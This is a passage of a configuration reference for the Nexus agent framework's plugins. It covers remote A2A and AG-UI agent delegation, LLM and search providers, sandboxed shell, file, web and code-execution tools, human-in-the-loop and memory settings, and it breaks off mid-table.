cache_sizeint256Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction; the cache grows unbounded.
cachebooltrueSet false to disable result caching entirely.

nexus.agent.agui_remote

Source: plugins/agents/aguiremote/plugin.go. Surfaces one or more remote AG-UI agents as delegate/subagent targets. Each configured agent registers an LLM-facing tool (default delegate_agui_<name>); when the parent agent calls it, the plugin builds an AG-UI RunAgentInput from the delegated task, runs the remote agent over the AG-UI wire (HTTP POST + SSE) via the reusable AG-UI client, maps the remote run’s event stream onto the Nexus bus (text deltas → io.output; tool activity + message boundaries → subagent.*), and returns the remote run’s terminal outcome as the tool result. Failures (remote RunError, timeout, transport error, auth rejection, unresolved interrupt) surface as a clean tool error. Per-call timeout enforces budget; results are cached by endpoint + task + context hash. See Sub-agent delegation.

KeyTypeDefaultDescription
agentslist(required)Non-empty list of remote AG-UI agents to expose. Each entry is a mapping (see below).
timeout_secondsint120Default per-call timeout (seconds) applied to every remote agent. Overridable per agent and per call.
cache_sizeint128Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction; the cache grows unbounded.
cachebooltrueSet false to disable result caching entirely.

Each agents[] entry:

KeyTypeDefaultDescription
namestring(required)Human-friendly identifier; used to derive the default tool name.
endpointstring(required)Full AG-UI POST endpoint URL (e.g. https://host/agui).
tool_namestringdelegate_agui_<name>Override the LLM-facing tool name.
descriptionstring(auto)Override the tool description shown to the LLM.
bearer_tokenstring(none)Static bearer token for the Authorization header. Prefer bearer_token_env.
bearer_token_envstring(none)Name of an environment variable holding the bearer token. Read at Init; used only when bearer_token is unset.
timeout_secondsint(plugin default)Per-agent default timeout (seconds), overriding the plugin-level timeout_seconds.

nexus.agent.a2a_remote

Source: plugins/agents/a2aremote/. The outbound half of Nexus’s A2A interoperability: where nexus.io.a2a serves this instance as an A2A agent, this plugin lets a Nexus agent call remote A2A agents. Each configured remote registers one LLM-facing tool (default delegate_a2a_<name>); a call sends the delegated task over the A2A wire through pkg/a2a/a2aclient, and folds the remote task’s final text and artifacts back into the tool result under XML tag boundaries.

Remotes come from configuration only — the tool schema exposes no URL, host or endpoint parameter, so a model cannot point the instance at an arbitrary address. See Remote A2A Agents.

Each remote’s Agent Card is fetched lazily, on first use, never at boot: an unreachable remote must not be able to fail engine startup. Until the card resolves the tool carries the configured description; the first successful call replaces it with a description built from the card’s own skills and re-registers the tool once.

Every failure — unreachable card, refused binding, protocol error, dead stream, exhausted budget, a task that ends FAILED — becomes a clean tool.result error, never an engine-level failure.

A remote that parks at INPUT_REQUIRED is not a failure: the question is raised on the local bus as hitl.requested, the human’s answer resumes the remote task with the same taskId and contextId, and the delegation carries on. The delegating model never sees the question. See the hitl block below.

KeyTypeDefaultDescription
agentslist(required)Non-empty list of remote A2A agents to expose. Each entry is a mapping (see below).
cachebooltrueSet false to disable result caching entirely.
cache_sizeint128Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction.
max_depthint3Hard cap on delegation depth across all remotes. Zero disables the cap. A posture’s max_recursion_depth may narrow it further.
bindingstringjsonrpcDefault protocol binding. One of jsonrpc, json-rpc, http+json, rest.
validate_cardbooltrueDefault for checking a fetched Agent Card against the specification’s required fields.
streambooltrueDefault for using the streaming operation. false forces a blocking SendMessage.
timeoutduration5mDefault whole-call deadline covering discovery, the message and the stream.
request_timeoutduration60sDefault deadline for a control-plane call (Agent Card fetch, GetTask, CancelTask). "0s" disables it.
message_timeoutduration0sDefault deadline for a non-streaming SendMessage. Zero means none — a blocking send legitimately takes as long as the remote’s work does.
stream_open_timeoutduration30sDefault deadline for a streaming call’s response headers. "0s" disables it.
stream_idle_timeoutduration5mDefault bound on total silence on an open stream. "0s" disables it.
progressbooltrueRepublish a remote run’s incremental progress onto the local bus as io.output and subagent.iteration, so a long delegation is visible to the TUI, browser, AG-UI and A2A-serve transports.
hitlmap(see below)Chained human-in-the-loop policy for a remote that parks at INPUT_REQUIRED.
extensionslist(the Nexus extension)A2A protocol extension URIs to request via the A2A-Extensions service parameter. A server activates only what a client asked for. Defaults to the Nexus extension URI, because this plugin consumes a remote Nexus instance’s telemetry to republish its progress; a remote that does not know the extension ignores the header. Set [] to request none.
retrymap(see below)Default retry policy for outbound calls.

Every key from binding down is a default; each agents[] entry may override it. An agent-level extensions list replaces the inherited one wholesale rather than merging, so an empty list means “declare none”.

Each agents[] entry:

KeyTypeDefaultDescription
namestring(required)Human-friendly identifier; used to derive the default tool name.
base_urlstring(required*)Base URL the remote is served under — the origin and optional path prefix, not an operation endpoint. The Agent Card is fetched from /.well-known/agent-card.json beneath it. Required unless jsonrpc_endpoint or rest_endpoint pins an endpoint.
jsonrpc_endpointstring(none)Pin the JSON-RPC endpoint URL, skipping Agent Card discovery for it.
rest_endpointstring(none)Pin the HTTP+JSON base URL — the prefix operation paths hang off, not one operation URL.
tool_namestringdelegate_a2a_<name>Override the LLM-facing tool name. The default lowercases name and collapses non-alphanumeric runs to _.
descriptionstring(auto)Tool description used until the Agent Card resolves. Once it does, the description is rebuilt from the card’s own skills.
posturestring(none)Registered AgentPosture supplying this remote’s timeout and recursion-depth cap. Requires the posture.registry capability (nexus.agent.postures).
bindingstring(plugin default)Per-agent override.
validate_cardbool(plugin default)Per-agent override.
streambool(plugin default)Per-agent override.
timeoutduration(plugin default)Per-agent override.
request_timeoutduration(plugin default)Per-agent override.
message_timeoutduration(plugin default)Per-agent override.
stream_open_timeoutduration(plugin default)Per-agent override.
stream_idle_timeoutduration(plugin default)Per-agent override.
progressbool(plugin default)Per-agent override.
hitlmap(plugin default)Per-agent override, key by key: a block setting only enabled leaves input_timeout and max_rounds inherited.
extensionslist(plugin default)Per-agent override; replaces rather than merges.
retrymap(plugin default)Per-agent override.
credentialsmap(none)Credential this instance presents to this remote. Per agent only — see below.

The hitl block, at either level:

KeyTypeDefaultDescription
enabledbooltrueRoute a remote’s INPUT_REQUIRED question to a human via hitl.requested, and resume the remote task with the answer. false restores the pre-chaining behaviour: a parked task becomes a clean tool error carrying the question.
input_timeoutduration15mDeadline for one question waiting on a human. The outbound twin of nexus.io.a2a’s tasks.input_timeout. "0s" removes this deadline specifically.
max_roundsint4How many times one delegated call may bounce a question back to the human. 0 removes the cap.

Two deadlines run while a task is parked, and the earlier one wins. The whole-call timeout keeps running — a remote waiting on a human is still work this session authorized, and pausing the budget is how an unanswered question pins a session for ever — and hitl.input_timeout bounds the individual question. With the 5m default timeout the call budget expires first, so input_timeout only bites once timeout is raised; an operator who expects a remote to ask questions should raise both. Whichever fires, the outcome is the same and the tool error names the deadline that fired: the question is retracted with hitl.cancel, the remote task is cancelled with CancelTask, and the delegating model is told the question went unanswered and told not to answer it itself.

AUTH_REQUIRED is deliberately not routed to a human — no answer a person types into a chat is a credential — and reports that the agent’s credentials need configuring.

Anything a human answered is never cached. A person’s answer is a decision made at a moment, and replaying it for a later identical task would apply that decision again without asking.

The credentials block exists only inside an agents[] entry. There is deliberately no plugin-level default: a default credential silently applied to a remote added later is how a token reaches a host it was never issued for.

Everything a credentials block can be wrong about is checked at Init: an unset environment variable, a key belonging to a different type, an unreadable or mismatched client certificate, or an OAuth2 remote with no way to reach a token endpoint each fail boot with a message naming the agent and the key — not a 401 on the first delegation. No credential value is ever logged, on any path, including failures.

KeyTypeDefaultDescription
typestring(required)One of none, bearer, oauth2_client_credentials, mtls. The types are mutually exclusive; a key belonging to another type is rejected at boot.

type: bearer — a static token, following the same api_key / api_key_env convention the LLM providers use:

KeyTypeDefaultDescription
tokenstring(none)The token, inline. Takes precedence over token_env when both are set. Prefer token_env; an inline secret lives in the config file.
token_envstring(none)Name of an environment variable holding the token. Read once at Init; a variable that is unset or empty fails boot.
headerstringAuthorizationHeader the token rides in.
schemestringBearerThe scheme word before the token. Set it to "" to send the bare token, which is what an X-Api-Key style header wants.

type: oauth2_client_credentials — the RFC 6749 §4.4 machine-to-machine grant, implemented over net/http (no golang.org/x/oauth2 dependency). The token is cached and refreshed ahead of expiry, and a burst of concurrent calls triggers one token request, not one per caller:

KeyTypeDefaultDescription
client_idstring(none)The client id, inline. Prefer client_id_env.
client_id_envstring(none)Name of an environment variable holding the client id.
client_secretstring(none)The client secret, inline. Prefer client_secret_env.
client_secret_envstring(none)Name of an environment variable holding the client secret.
token_urlstring(discovered)The token endpoint. Optional when the agent has a base_url: it is then discovered from the card’s oauth2 clientCredentials flow on first use. Required for an agent that pins jsonrpc_endpoint/rest_endpoint instead, since there is no card to discover it from.
scopeslist(none)Scopes requested in the token request, joined with spaces. Not defaulted from the card: requesting every scope a remote advertises is broader than any deployment needs.
audiencestring(none)Value of the widely-supported (non-standard) audience parameter. Sent only when set.
auth_stylestringbasicHow the client authenticates to the token endpoint. basic is HTTP Basic per RFC 6749 §2.3.1; body puts client_id/client_secret in the form body, for a server that only accepts that.
refresh_leewayduration30sHow far ahead of the stated expiry a token is replaced. Clamped to half the token lifetime when the lifetime is shorter than the leeway. A server that omits expires_in is assumed to have issued a 60-second token.

One id/secret pair is required: set client_id or client_id_env, and client_secret or client_secret_env. When token_url is being discovered from the card, the well-known Agent Card fetch — and only that fetch — goes out unauthenticated, because the token cannot be obtained before the endpoint that issues it is known. Specification §8.2 makes the well-known card a public document; a remote that protects its card wants token_url set explicitly.

type: mtls — client-certificate authentication, wired into the http.Transport. Every path is resolved through the engine’s ~ expansion and read at Init:

KeyTypeDefaultDescription
cert_filestring(required)Path to the PEM client certificate.
key_filestring(required)Path to the PEM private key matching cert_file.
ca_filestring(system roots)Path to a PEM bundle used to verify the remote’s certificate, for a private CA.
server_namestring(from the URL)Override the TLS server name used for SNI and certificate verification, for a remote reached by an address its certificate does not name.

On the first call to a remote — never at boot, since the card is fetched lazily — the configured credential is compared against the card’s securitySchemes, and an obvious mismatch (a bearer token against a card declaring only mutualTls, say) logs one warning. It warns rather than refuses: a card’s securitySchemes block is optional and routinely incomplete, and refusing on that evidence would break working deployments over a documentation defect.

The retry block, at either level:

KeyTypeDefaultDescription
max_attemptsint3Total attempts including the first. 1 disables retrying.
base_delayduration200msDelay before the second attempt; doubles thereafter.
max_delayduration5sCap on the computed backoff. A longer Retry-After from the server is still honoured in full.

Reads are retried on transport failures and 502/504; every operation is retried on 429/503. A message send is never retried on a transport failure, because A2A defines no idempotency key and a blind retry would run the remote’s work twice.

Every duration key is a duration string ("90s", "5m", "1h30m"), never a bare number: timeout: 600 reads as ten minutes to an operator and six hundred nanoseconds to Go, so a bare number is rejected rather than guessed at.

Timeout precedence for one call, first match wins: the tool’s timeout_seconds argument → the agent’s posture budget timeout → the timeout key (agent-level, else plugin-level) → the 5m built-in default.

Posture budgets. Only two dimensions of an AgentPosture cross an A2A boundary — default_budget.timeout and max_recursion_depth — because the protocol gives a client no control over the remote’s token or tool-call spend. A posture whose default_budget sets max_tokens or max_tool_calls is refused for a remote agent rather than half-honoured, and the call fails with an error naming the key.

Caching. Successful outcomes are cached in the LRU under a content hash of (remote identity, posture version, task, canonicalized context). Failures are never cached, so a remote that was briefly down is retried rather than replayed, and neither is any outcome a human answered a question for.

Cancellation. cancel.active — the event nexus.control.cancel emits once a cancellation is happening — retracts any question this plugin put in front of a human, issues CancelTask to every remote task in flight, and aborts the calls. The same abandonment runs on the ordinary exits too: if this instance walks away from a remote task that has not reached a terminal state, it tells the remote.

nexus.scene

Source: plugins/scene/plugin.go. Owns the per-session Scene store and registers the scene_create / scene_patch / scene_get / scene_list / scene_delete tools. Every patch is journaled to <session>/plugins/nexus.scene/scenes.jsonl so the replay primitive can reconstruct historical scene state. See Scenes.

No config keys today; activate the plugin in plugins.active and the default tools register at boot.


LLM providers

All providers share the same retry block schema (see “Retry” subtable below).

nexus.llm.anthropic

Source: plugins/providers/anthropic/plugin.go + auth.go, pricing.go, cache.go, thinking.go, multimodal.go, citations.go, structured_outputs.go, files.go, retry.go.

KeyTypeDefaultDescription
debugboolfalsePersist request/response bodies to the session for debugging.
auth_modestringapi_keyOne of api_key, bedrock, vertex.
api_keystring(env)Direct API key (used when auth_mode: api_key).
api_key_envstringANTHROPIC_API_KEYEnvironment variable to read the API key from.
bedrock.regionstring(env AWS_REGION)AWS region for Bedrock.
bedrock.access_key_idstring(env AWS_ACCESS_KEY_ID)AWS access key.
bedrock.access_key_id_envstringAWS_ACCESS_KEY_IDOverride the env var name.
bedrock.secret_access_keystring(env AWS_SECRET_ACCESS_KEY)AWS secret.
bedrock.secret_access_key_envstringAWS_SECRET_ACCESS_KEYOverride the env var name.
bedrock.session_tokenstring(env AWS_SESSION_TOKEN)Optional STS session token.
bedrock.session_token_envstringAWS_SESSION_TOKENOverride the env var name.
vertex.project / project_idstring(env GOOGLE_CLOUD_PROJECT)GCP project.
vertex.region / locationstringus-east5Vertex region.
vertex.sa_key_file / service_account_jsonstring(env GOOGLE_APPLICATION_CREDENTIALS)Path to the service-account JSON.
vertex.sa_key_file_env / service_account_json_envstringGOOGLE_APPLICATION_CREDENTIALSOverride the env var name.
cache.enabledboolfalseEnable prompt caching.
cache.systembooltrueMark the system prompt for caching when enabled.
cache.toolsbooltrueMark the tools array for caching when enabled.
cache.message_prefixint0Number of leading user messages to mark for caching.
cache.ttlstring5mCache TTL: 5m (ephemeral) or 1h (extended).
thinking.enabledboolfalseEnable extended thinking (Sonnet 4+, Opus 4+).
thinking.budget_tokensint8192Thinking token budget; -1 for dynamic, 0 to disable, 1024+ fixed.
thinking.include_thoughtsbooltrueSurface thinking content via thinking.step events.
multimodal.pdf_betaboolfalseSend the pdfs-2024-09-25 beta header for legacy PDF support.
citations.enabledboolfalseEnable citations on document blocks.
structured_outputs.modestringtooltool (synthetic tool) or native (response_format).
structured_outputs.beta_headerstring(none)Optional beta header when mode: native.
files.enabledboolfalseUse the Anthropic Files API for oversize attachments.
files.upload_thresholdint40960Minimum bytes before a file is uploaded; smaller files are inlined.
files.cache_uploadsbooltrueDeduplicate identical uploads within a session.
files.delete_on_shutdownboolfalseDelete uploaded files when the engine shuts down.
retry.*(see Retry block)Backoff configuration.
pricing.<model>.*map(embedded table)Override per-model token pricing — see “Pricing override”.

Retry block (shared by all providers)

KeyTypeDefaultDescription
retry.enabledbooltrueEnable retry on 5xx / 429.
retry.max_retriesint3Maximum attempts.
retry.initial_delayduration1sFirst backoff delay.
retry.max_delayduration60sMaximum delay between retries.
retry.backoffstringexponentialconstant, linear, exponential, or jitter.
retry.multiplierfloat2.0Multiplier for linear/exponential.
retry.statusesint listAnthropic: [429, 500, 502, 503, 529]
OpenAI/Gemini: [429, 500, 502, 503]
HTTP statuses to retry.

Pricing override

KeyTypeDefaultDescription
pricing.<model>.input_per_millionfloat(embedded default)Cost per million input tokens.
pricing.<model>.output_per_millionfloat(embedded default)Cost per million output tokens.
pricing.<model>.cache_read_per_millionfloat(derived from input)Anthropic: 0.10×input; OpenAI: 0.5×input.
pricing.<model>.cache_write_5m_per_millionfloat(derived: 1.25×input)Anthropic only.
pricing.<model>.cache_write_1h_per_millionfloat(derived: 2.0×input)Anthropic only.

nexus.llm.openai

Source: plugins/providers/openai/plugin.go.

KeyTypeDefaultDescription
debugboolfalsePersist request/response bodies to the session.
auth_modestringopenaiopenai, azure_key, or azure_aad.
api_keystring(env)Direct API key (auth_mode: openai, also fallback for Azure Files API).
api_key_envstringOPENAI_API_KEYEnvironment variable for the key.
base_urlstringhttps://api.openai.com/v1Override for proxies / OpenAI-compatible endpoints.
azure.endpointstring(required for Azure)Azure OpenAI endpoint URL.
azure.api_keystring(env AZURE_OPENAI_API_KEY)Azure key (when auth_mode: azure_key).
azure.api_key_envstringAZURE_OPENAI_API_KEYOverride the env var name.
azure.api_versionstring2024-12-01-previewAzure OpenAI API version.
azure.use_msiboolfalseUse Managed Service Identity (auth_mode: azure_aad); otherwise falls back to Azure CLI auth.
files.enabledboolfalseUse the Files API.
files.purposestringassistantsFile purpose category.
files.upload_thresholdint40960Minimum bytes to upload.
files.cache_uploadsbooltrueDeduplicate within a session.
files.delete_on_shutdownboolfalseDelete on shutdown.
reasoning.enabledboolfalseEnable o-series reasoning.
reasoning.budget_tokensint10000Reasoning token budget.
force_reasoningboolfalseForce reasoning even for non-o-series models (experimental).
multimodal.visionbooltrueAllow image inputs (GPT-4V).
retry.*(shared Retry block)Backoff configuration.
pricing.<model>.*map(embedded table)Override per-model pricing.

nexus.llm.gemini

Source: plugins/providers/gemini/plugin.go.

KeyTypeDefaultDescription
debugboolfalsePersist request/response bodies.
api_keystring(env GEMINI_API_KEY or GOOGLE_API_KEY)Public Generative Language API key.
api_key_envstring(tries both env vars above)Override the env var name.
vertex.projectstring(env GOOGLE_CLOUD_PROJECT)Project ID for Vertex AI.
vertex.region / locationstringus-central1Vertex region.
vertex.sa_key_filestring(env GOOGLE_APPLICATION_CREDENTIALS)Service-account JSON path.
vertex.sa_key_file_envstringGOOGLE_APPLICATION_CREDENTIALSOverride the env var name.
thinking.enabledboolfalseEnable thinking on Gemini 2.5+.
thinking.budget_tokensint8000Thinking token budget.
thinking.include_thoughtsbooltrueSurface thinking via thinking.step.
code_executionboolfalseEnable Gemini’s built-in code-execution tool.
cache.enabledboolfalseEnable prompt caching (Gemini 2.0+).
cache.min_tokensint1000Minimum tokens required for caching.
cache.ttlstring5mCache TTL: 5m or 1h.
retry.*(shared Retry block)Backoff configuration.
pricing.<model>.*map(embedded table)Override per-model pricing.

nexus.provider.fallback

Source: plugins/providers/fallback/plugin.go. No plugin-level config — the fallback chain is defined by listing multiple providers under a single role in core.models. This plugin coordinates the re-emission to the next provider on non-retryable errors.

nexus.provider.fanout

Source: plugins/providers/fanout/plugin.go.

KeyTypeDefaultDescription
strategystringallSelection strategy: all (return first to arrive), llm_judge, heuristic, user.
deadline_msint30000Milliseconds to wait before forcing selection.
heuristic.preferstringlongestUsed when strategy: heuristic: longest, shortest, fastest, cheapest.
heuristic.require_finishboolfalseOnly consider responses with finish_reason: end_turn.
judge.rolestring(none)Model role for the judge LLM call when strategy: llm_judge.

A role becomes a fanout role when its core.models entry sets fanout: true; the fanout plugin watches before:llm.request for those roles. For strategy: user, the plugin emits provider.fanout.choose and waits for provider.fanout.chosen from the IO layer.

Search providers (search.provider capability)

Each search-provider plugin handles search.request events and writes results back into the payload. They share the same shape:

PluginSource
nexus.search.braveplugins/search/brave/plugin.go
nexus.search.anthropic_nativeplugins/search/anthropic_native/plugin.go
nexus.search.openai_nativeplugins/search/openai_native/plugin.go
nexus.search.gemini_nativeplugins/search/gemini_native/plugin.go
KeyTypeDefaultNotes
api_keystring(env, see below)Direct API key.
api_key_envstringprovider default (see below)Override the env var name.
modelstringprovider default (see below)Only on native search providers.
base_urlstringprovider default (see below)Override the upstream endpoint. Available on brave, openai_native, and gemini_native. Primarily useful for httptest-driven integration tests; OpenAI-compatible proxies can also be wired here.
timeoutduration15s (Brave), 30s (others)HTTP request timeout.

Provider defaults:

Providerapi_key_envmodelbase_url default
nexus.search.braveBRAVE_API_KEYn/ahttps://api.search.brave.com/res/v1/web/search
nexus.search.anthropic_nativeANTHROPIC_API_KEYclaude-haiku-4-5-20251001n/a (no override)
nexus.search.openai_nativeOPENAI_API_KEYgpt-4o-minihttps://api.openai.com/v1/responses
nexus.search.gemini_nativeGEMINI_API_KEY / GOOGLE_API_KEYgemini-2.5-flashhttps://generativelanguage.googleapis.com/v1beta

If multiple providers register the search.provider capability, pin one explicitly via the top-level capabilities: block.


Tools

nexus.tool.shell

Source: plugins/tools/shell/plugin.go. Routes commands through pkg/engine/sandbox so the kernel surface is a single audited boundary.

KeyTypeDefaultDescription
working_dirstring(session files dir)Working directory for executions.
timeoutduration30sPer-command timeout.
sandbox.backendstringhostSandbox tier: host (current behaviour). Future: gvisor, firecracker, landlock.
sandbox.allowed_commandslist(none — all allowed)Whitelist of base command names.
sandbox.path_dirslist(none)Directories prepended to PATH.
sandbox.env_restrictboolfalseStrip sensitive env vars (AWS, Google, Azure, Anthropic API keys) before execution.
sandbox.timeoutduration30sPer-command default; timeout above wins per-call.

nexus.tool.file

Source: plugins/tools/fileio/plugin.go. Registers read_file, write_file, check_file_size, list_files, read_image, read_document.

read_image and read_document return a MessagePart on ToolResult.OutputParts; the memory plugin copies parts onto the resulting tool-role Message.Parts so the next LLM request sees the multimodal content. Provider plugins resolve MessagePart.URI = "nexus-blob:<sha>" references from the per-session blob store at ~/.nexus/sessions/<id>/blobs/ when the payload was stored, or use the inline MessagePart.Data when it was inlined.

KeyTypeDefaultDescription
base_dirstring(session files dir)Base directory for file operations.
allow_external_writesboolfalsePermit reads/writes outside base_dir.
blob_store.byte_budgetint2147483648 (2 GiB)Soft cap on total stored blob bytes per session. 0 = unbounded. Applied via LRU sweep after each blob put.
blob_store.inline_thresholdint262144 (256 KiB)Payloads at or below this size are inlined on the MessagePart instead of being stored as a blob.
tools.<tool_name>booltrue for eachPer-tool enable/disable: read_file, write_file, check_file_size, list_files, read_image, read_document.

nexus.tool.catalog

Source: plugins/tools/catalog/plugin.go. No configuration. Provides the tool.catalog capability — a shared registry queried via tool.catalog.query. Required by nexus.agent.react.

nexus.tool.web

Source: plugins/tools/web/plugin.go. Registers web_search, web_fetch, and fetch_page_image. Requires the search.provider capability for web_search. fetch_page_image requires screenshot_provider config — without it, the tool surfaces a clear error at invoke time.

KeyTypeDefaultDescription
search.default_countint10Default result count for web_search.
search.default_safe_searchstringmoderateoff, moderate, strict.
search.default_languagestring(none)BCP-47 language tag (e.g. en, es-MX).
fetch.user_agentstringNexus/0.1 (+https://...)User-Agent header for web_fetch.
fetch.timeoutduration20sHTTP timeout.
fetch.max_sizeint5242880 (5 MB)Maximum response body size.
fetch.default_extractstringreadabilityreadability or raw.
fetch.allowed_domainslist(none — allow all)Allowlist of domains.
fetch.blocked_domainslist(none)Blocklist of domains.
fetch.follow_redirectsbooltrueFollow HTTP redirects.
fetch.max_redirectsint5Maximum redirect chain length.
screenshot_provider.urlstring(required for fetch_page_image)Endpoint of the external screenshot service (urlbox, screenshotapi.net, browserless, …).
screenshot_provider.methodstringPOSTGET or POST.
screenshot_provider.api_key_envstring(none)Env var holding the bearer token / API key. POST sends Authorization: Bearer <key>; GET appends api_key=<key> to the query.
screenshot_provider.url_param_namestringurlField name carrying the target URL.
screenshot_provider.request_templatemap(empty)Extra fields merged into the JSON body (POST) or query string (GET).
screenshot_provider.headersmap(empty)Fixed headers sent with every provider request.
blob_store.byte_budgetint2147483648 (2 GiB)Soft cap on total stored blob bytes per session for fetch_page_image. 0 = unbounded.
blob_store.inline_thresholdint262144 (256 KiB)Payloads at or below this size are inlined on the MessagePart instead of stored as a blob.

Source: plugins/tools/knowledge_search/plugin.go. Requires embeddings.provider and vector.store.

KeyTypeDefaultDescription
tool_namestringknowledge_searchName of the registered tool.
top_kint5Default chunks to return (LLM may override; capped at 50).
include_metadatabooltrueInclude vector metadata alongside chunks.
namespaceslist(required)Allowed vector store namespaces.
default_namespaceslist(required)Namespaces searched when the LLM doesn’t specify.

The active embeddings.provider plugin owns the model choice — there is no consumer-side override. Configure the model once on the provider plugin (e.g. nexus.embeddings.openai.model).

nexus.tool.pdf

Source: plugins/tools/pdf/plugin.go. Registers read_pdf. Two modes selectable per call via mode argument or default_mode config:

  • text (default) — extract text via pdftotext (poppler-utils). Requires pdftotext on PATH (or pdftotext_bin config).
  • document — return the raw PDF bytes as a file MessagePart on ToolResult.OutputParts for native multimodal providers (Anthropic, Gemini). No poppler call. first_page, last_page, and layout arguments are ignored in this mode.

If default_mode is document and pdftotext is missing, the plugin boots; text mode then surfaces an actionable error per call.

KeyTypeDefaultDescription
pdftotext_binstringpdftotextPath or name of the pdftotext binary.
pdfinfo_binstringpdfinfoPath or name of pdfinfo (optional).
timeoutduration30sPer-extraction timeout.
save_to_sessionboolfalsePersist extracted text to session files.
save_file_namestring(derived from PDF)Custom filename for the saved text.
default_modestringtexttext or document. Default read_pdf mode when the LLM doesn’t supply one.

nexus.tool.screenshot

Source: plugins/tools/screenshot/plugin.go. Registers take_screenshot. Captures the full screen as PNG and emits an image MessagePart on ToolResult.OutputParts. Capture path is platform-specific:

  • darwin: screencapture -t png -x <tmpfile>
  • linux: gnome-screenshot -f <tmpfile>, then grim <tmpfile>, then ImageMagick’s import -window root <tmpfile> as fallbacks
  • other platforms: emits ToolResult.Error: "screenshot not supported on this platform"
KeyTypeDefaultDescription
timeoutduration15sPer-capture subprocess timeout.
blob_store.byte_budgetint2147483648 (2 GiB)Soft cap on total stored blob bytes per session. 0 = unbounded.
blob_store.inline_thresholdint262144 (256 KiB)Payloads at or below this size are inlined on the MessagePart instead of stored as a blob.

nexus.tool.opener

Source: plugins/tools/opener/plugin.go. Registers open_path.

KeyTypeDefaultDescription
open_cmdstringplatform default (open macOS, xdg-open Linux, start Win)Override the platform “open” command.
timeoutduration10sPer-open timeout.

nexus.control.hitl

Source: plugins/control/hitl/plugin.go. The unified human-in-the-loop primitive. Registers the LLM-facing ask_user tool with an extended schema (prompt, mode, choices, default_choice_id, deadline_seconds) and routes hitl.requested / hitl.responded events between requesters (the tool, gates, memory plugins) and IO surfaces. Replaces the prior nexus.tool.ask. See Human-in-the-Loop plugin docs.

KeyTypeDefaultDescription
registry.enabledboolfalseMirror every hitl.requested to disk and watch for response files written by nexus hitl respond, webhook handlers, etc.
registry.dirstring~/.nexus/hitlFilesystem directory the registry uses for <id>.request.yaml / <id>.response.yaml pairs. Tilde expansion via engine.ExpandPath. Created at boot if missing.

nexus.control.hitl_synthesizer

Source: plugins/control/hitl_synthesizer/plugin.go. Optional companion to nexus.control.hitl that renders context-aware approval prompts via a small/cheap LLM. Advertises the hitl.prompt_synthesizer capability; emitters opt in by setting HITLRequest.PromptSynthesizer = "hitl.prompt_synthesizer" and leaving Prompt empty. Subscribes to before:hitl.requested (canonical vetoable entry point, pointer payload — every in-tree HITL emitter publishes here first) and to hitl.requested as a backward compat fallback for out-of-tree emitters that publish a *HITLRequest pointer directly, ahead of every IO plugin so the rendered text is in place before the operator sees the prompt. Synthesised prompts are cached on disk under <session>/plugins/nexus.control.hitl_synthesizer/cache.jsonl, keyed by (action_kind, sha256(action_ref)). See HITL Prompt Synthesizer docs.

KeyTypeDefaultDescription
model_rolestringquickModel role (resolved via core.models) used for synthesis.
max_action_ref_charsint1500ActionRef truncation budget (in JSON characters) before sending to the model.
cache_enabledbooltrueToggle the on-disk cache. Disable for debugging or strict-determinism runs.
fallback_promptstringApprove action: {{.action_kind}}Go text/template over {action_kind, action_ref, requester_plugin, request_id} used when synthesis fails.

nexus.tool.code_exec

Source: plugins/tools/codeexec/plugin.go. Registers run_code (Go). Two compilers selected via compiler:

  • yaegi-host (default) — in-process Yaegi interpreter. Full dynamic bindings (tools.*, parallel.*, skill helpers); no kernel isolation.
  • yaegi-wasm — embedded Yaegi runner inside a wazero-managed Wasm sandbox. Capability-gated I/O via nexus_sdk/{http,fs,exec,env}. v1 forfeits tools.*, parallel.*, and skill helpers — the bridge SDK does not surface them.

Multimodal helper (host compiler only): scripts may import "nexus" and call nexus.ReturnImage(data []byte, mimeType string) to attach images to the resulting tool.result (alongside main.Run’s JSON return). Multiple calls stack in script order; the routing follows the same inline / blob-store threshold pattern used by other multimodal tools.

KeyTypeDefaultDescription
compilerstringyaegi-hostyaegi-host or yaegi-wasm. The latter requires sandbox.backend: wasm.
timeout_secondsint30Script timeout in seconds.
max_output_bytesint65536Maximum captured output.
max_workersintruntime.NumCPU()Concurrency cap for parallel.* (yaegi-host only).
persist_scriptsbooltrueWrite executed scripts to session files.
reject_goroutinesbooltrueReject scripts that spawn goroutines.
allowed_packageslist(stdlib whitelist)Importable stdlib packages.
blob_store.byte_budgetint2147483648 (2 GiB)Soft cap on total stored blob bytes per session for nexus.ReturnImage payloads. 0 = unbounded.
blob_store.inline_thresholdint262144 (256 KiB)Payloads at or below this size are inlined on the MessagePart instead of being stored as a blob.
sandbox.backendstringhostRequired wasm for compiler: yaegi-wasm. Other backends (host) reject KindGoWasm requests.
sandbox.cache_dirstring(none)Persistent wazero compilation cache. Recommended for fast cold-start across processes.
sandbox.timeoutduration30sDefault per-call wasm timeout.
sandbox.net.policystringdenydeny or allow_hosts. Empty allow_hosts = deny all.
sandbox.net.allow_hostslist(empty)Exact-match hostname allowlist for nexus_sdk/http.
sandbox.fs_mountslist(empty)List of {host, guest, mode} triples. mode is ro (default) or rw. Backs nexus_sdk/fs.
sandbox.exec_allowedlist(empty)Allowlist of commands invokable from nexus_sdk/exec.Run. Empty = deny.
sandbox.envmap(empty)Sandbox-scoped env values returned by nexus_sdk/env.Get. Never the host’s real env.

The engine substitutes ${session_id} in any string under the sandbox: block at session start, so per-session host paths can be hard-coded: host: ~/.nexus/sessions/${session_id}/files.

nexus.tool.session_tags

Source: plugins/tools/session_tags/plugin.go. Registers session_tag_set, session_tag_get, session_tag_delete, session_tag_list — LLM-facing tools over the general-namespace session tag store (SessionMeta.Labels; see Session Tags for the full mechanism, and the Cost CLI section below for how tenant/project/user tags feed nexus cost report). Off by default — not in any stock config’s plugins.active; an operator opts in explicitly to give the agent write access to its own session’s tags.

Restricted to the general (non-_-prefixed) namespace: session_tag_set/ session_tag_delete ride the same vetoable before:session.tag.set/ before:session.tag.delete path any other caller uses, so a reserved-prefixed key is rejected identically — this plugin has no elevated privilege and no bypass. session_tag_get/session_tag_list report a reserved-prefixed key as not found / omit it entirely, never revealing its presence.

KeyTypeDefaultDescription
tools.<tool_name>booltrue for eachPer-tool enable/disable: session_tag_set, session_tag_get, session_tag_delete, session_tag_list.

Memory

nexus.memory.simple

Source: plugins/memory/simple/plugin.go. No configuration. Provides memory.history. Unbounded, in-memory, no persistence.

nexus.memory.capped

Source: plugins/memory/capped/plugin.go. Provides memory.history. This is the default memory.history provider auto-activated by nexus.agent.react.

KeyTypeDefaultDescription
